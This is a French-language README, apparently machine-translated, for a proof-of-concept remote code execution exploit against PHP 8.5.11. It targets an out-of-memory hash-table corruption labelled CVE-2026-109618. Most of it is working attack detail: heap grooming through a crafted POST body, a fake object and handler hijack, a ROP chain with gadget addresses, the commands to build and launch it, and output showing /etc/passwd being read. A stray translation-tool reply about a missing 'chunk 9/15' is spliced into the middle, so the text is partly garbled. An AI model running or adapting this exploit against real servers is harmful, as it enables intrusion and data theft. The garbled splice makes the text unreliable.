
🤖 Non, il existe un moyen simple d'exploiter cette vulnérabilité ! (vibecodé pour prouver un point)
Une PoC reproductible et indépendante de l'application pour l'exécution de code à distance contre PHP 8.5.11 (les avis d'octobre 2026). Elle transforme les deux avis de 2026 sur la corruption de mémoire de PHP en system("cat /etc/passwd") sans aucun code applicatif — le index.php de la victime se contente d'afficher ok.
longjmp abandonne une HashTable à moitié construite, laissant un bucket pendant que l'arrêt la détruit. C'est la primitive RCE.Tout est entièrement reproductible dans des conteneurs Podman. Le résultat de bout en bout confirmé est ./exploits/cve-2026-109618-oom/rce.py lisant /etc/passwd.
Lorsque PHP manque de mémoire, il appelle zend_mm_safe_error() →
zend_error_noreturn() → zend_bailout() (longjmp). Dans la version 8.5.11, l'insertion dans la table de hachage n'est pas soumise à l'échec d'allocation, de sorte qu'un OOM peut se dérouler avec une HashTable à moitié modifiée.
Le site de corruption est add_to_hash de _zend_hash_str_add_or_update_i()
(Zend/zend_hash.c:960) :
add_to_hash:
idx = ht->nNumUsed++; /* (1) bumped first */
ht->nNumOfElements++; /* (2) bumped */
p = ht->arData + idx;
p->key = key = zend_string_init(str, len); /* (3) OOM -> zend_bailout */
Si la copie de clé zend_string_init provoque une OOM, le bucket p reste non écrit (key/h/val tous obsolètes) mais nNumUsed est déjà incrémenté. À l'arrêt de la requête, zend_array_destroy() parcourt nNumUsed buckets et appelle i_zval_ptr_dtor(&p->val) sur le val résiduel du bucket non écrit — une valeur façonnée par l'attaquant. Le correctif 8.5.12 remplace chacune de ces allocations par des variantes faillibles (femalloc/fperealloc2 + HASH_FALLIBLE) afin que l'insertion retourne proprement au lieu d'échouer brutalement.
L'exploit consiste entièrement à faire en sorte que un bloc contrôlé de 2560 octets devienne l'arData du HashTable dont le dernier bucket est le bucket OOM. Les valeurs qui devaient être équilibrées, et pourquoi :
| Type / variable | Taille | Rôle |
|---|---|---|
En-tête zend_array (HashTable) | 56 o | arData, nNumUsed, nTableSize, pDestructor |
Bucket | 32 o | val(16) + h(8) + key(8) ; celui non écrit est notre cible |
zval | 16 o | value(8) + u1.type_info(4) + u2(4) — nous définissons type_info |
zend_string | en-tête 24 o + données | la valeur de remplissage ; sa longueur détermine le bac de l'allocateur |
zend_object | 56 o | objet factice : gc(8) handle(4) ce(8) handlers(8) properties(8) |
zend_object_handlers | offset/free_obj/dtor_obj | free_obj est le gadget pivot |
zend_mm_heap / zend_mm_chunk | — | free_slot[], free_tail, map[] (bac 28 = 2560 o) |
Les deux faits de l'allocateur sur lesquels repose tout le feng-shui :
HT_SIZE_EX(64) = 64*32 buckets + 128*4 hash = 2560), car
HT_SIZE_TO_MASK(n) = -(2n).b150 (parcouru) et b0e0 (rejeté) sont deux copies de $_POST["a"]
créées par le chemin SEPARATE_ARRAY/indirect de la symtable ; chaque
champ a[<large>][c]=v insère la clé <large> dans les deux, et b0e0 a
toujours 1 clé d'avance. Seul b150 est détruit par php_request_shutdown, donc
l'OOM doit se produire sur b150.rce.py)Le corps de la requête est un POST urlencodé :
memshift=<40 KB of M>&
a[X…0000000000000000][c]=v& … (30 fields)
pad=<crafted 2528 B>&
pad=x&
a[X…0000000000000030][c]=v& … (fields 30..59)
memshift (~40 Ko) consomme juste assez de mémoire pour que l'OOM se déclenche lors du
premier insert du champ OOM, c'est-à-dire dans b150 (la table parcourue), et non
dans le b0e0 écarté.pad=<2528 B> : add_post_var effectue estrndup(A) puis
ZVAL_STRINGL_FAST(B, copy). Mesure : B = padlen + 32, donc padlen=2528
donne A = 2529 et B = 2560 — tous deux dans le bin 28. A est libéré par
le chemin estrndup.pad=x (clé dupliquée) déclenche le DTOR de la copie retenue B, libérant un second
emplacement distinct du bin 28. Désormais, le redimensionnement 32→64 de b150 réutilise B — nos octets
contrôlés deviennent l'arData de b150.zend_hash_rehash.IS_OBJECT avec value.obj = &fake_object.i_zval_ptr_dtor → rc_dtor_func →
zend_objects_store_del → handlers->free_obj = pivot → ROP →
system("cat /etc/passwd > /var/www/html/leak.txt") ; un
GET /leak.txt ultérieur renvoie le fichier.Deux exigences subtiles qui ont coûté un vrai temps de débogage (toutes deux dans rce.py) :
__libc_system utilise movaps (aligné sur 16 octets), donc un gadget ret supplémentaire est
inséré entre pop rdi; ret et system — sinon, cela provoque un SIGSEGV à l'intérieur de
__libc_system avant execve.setarch -R)Mesurées sur php-rce-oom-debug:8.5.11 (base php-rce-base:8.5.11). Les
bases libphp/libc sont identiques entre les builds de base ; l'offset du tas B varie
avec les bibliothèques installées (l'installation de gdb l'a déplacé), donc remesurez B pour une autre
image, ou résolvez-le via la fuite d'informations pour l'ASLR activé.
| Symbole | Adresse |
|---|---|
| base libphp | 0x7ffff4400000 |
| base libc | 0x7ffff7cd4000 |
system | 0x7ffff7d20490 (libc+0x4c490) |
pop rdi; ret | 0x7ffff7cfb7e5 (libc+0x277e5) |
ret | 0x7ffff7cfb7e6 |
pivot (jump_fcontext+0x2e) | 0x7ffff49fb8ae |
chunk principal ([anon:zend_alloc]) | 0x7ffff7200000 |
B (bloc brut arData = b150->arData - 512) | 0x7ffff725e400 |
| handlers factices | B + 24 + 2000 = 0x7ffff725ebe8 |
| objet factice | B + 24 + 2048 = 0x7ffff725ec18 |
chaîne cmd | B + 24 + 2200 = 0x7ffff725ecb0 |
La chaîne ROP (relative à l'objet factice, o) :
o+0x40 pop rdi; ret (r8 loaded by the pivot)
o+0x48 &cmd (rdi)
o+0x50 ret (stack alignment for movaps)
o+0x58 system
Nécessite Podman. Depuis la racine du dépôt :
# build base + OOM + debug (gdb) images
./exploits/cve-2026-109618-oom/trace.sh build
# run the vulnerable worker with ASLR disabled (setarch -R), port 8084
./exploits/cve-2026-109618-oom/trace.sh up
# exploit: OOM -> free_obj hijack -> system("cat /etc/passwd")
python3 exploits/cve-2026-109618-oom/rce.py 127.0.0.1 8084
Veuillez fournir le contenu du chunk 9/15 à traduire. Aucun texte source n'a été inclus dans votre message.
[+] RCE: read /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…
# stale fatal-backtrace UAF crash (CVE-2026-109619)
./exploits/cve-2026-109619-stale-state/run.sh up && ./exploits/cve-2026-109619-stale-state/run.sh uaf